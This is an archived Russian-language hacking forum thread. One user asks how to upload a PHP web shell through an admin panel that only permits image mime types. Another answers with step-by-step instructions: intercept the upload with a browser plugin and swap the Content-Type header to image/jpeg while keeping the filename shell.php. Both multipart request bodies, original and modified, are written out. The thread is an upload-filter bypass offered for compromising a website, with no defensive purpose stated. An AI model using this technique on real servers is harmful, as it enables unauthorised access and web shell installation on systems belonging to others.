PDA

Просмотр полной версии : MIME Types и php-шелл


Maledictus
13.09.2010, 22:33
Есть доступ к админке. Есть возможность указать разрешенные mime-type(сейчас разрешены только jpeg, png, jpg). Как залить php шелл?

Redwood
13.09.2010, 23:19
Мне кажется или ты уже сам ответил на свой вопрос?

Укажи в заголовке Content-Type: image/jpeg или любое из разрешенных расширений.

Maledictus
14.09.2010, 11:23
Redwood said:
Мне кажется или ты уже сам ответил на свой вопрос?
Укажи в заголовке Content-Type: image/jpeg или любое из разрешенных расширений.



Вот именно это я и не понимаю как сделать?

И можно как-нить добавить вид php-скрипта в разрешенные mime? Какой у него?

Redwood
14.09.2010, 14:32
Например плагином Tamper Data для Mozilla Firefox.

Запускаешь перехват данных и пытаешься залить шелл, после чего жмешь вмешаться.

В ответ придет, что то вроде:


Code:
-----------------------------41184676334\r\n
Content-Disposition: form-data; name="MAX_FILE_SIZE"\r\n\r\n100000\r\n
-----------------------------41184676334\r\n
Content-Disposition: form-data; name="uploaded"; filename="shell.php"\r\n
Content-Type: application/octet-stream\r\n\r\n\r\n
-----------------------------41184676334\r\n
Content-Disposition: form-data; name="Upload"\r\n\r\nUpload\r\n
-----------------------------41184676334--\r\n

Меняешь на:


Code:
------------------------------41184676334\r\n
Content-Disposition: form-data; name="MAX_FILE_SIZE"\r\n\r\n100000\r\n
-----------------------------41184676334\r\n
Content-Disposition: form-data; name="uploaded"; filename="shell.php"\r\n
Content-Type: image/jpeg\r\n\r\n\r\n
-----------------------------41184676334\r\n
Content-Disposition: form-data; name="Upload"\r\n\r\nUpload\r\n
-----------------------------41184676334--\r\n

И отправляешь.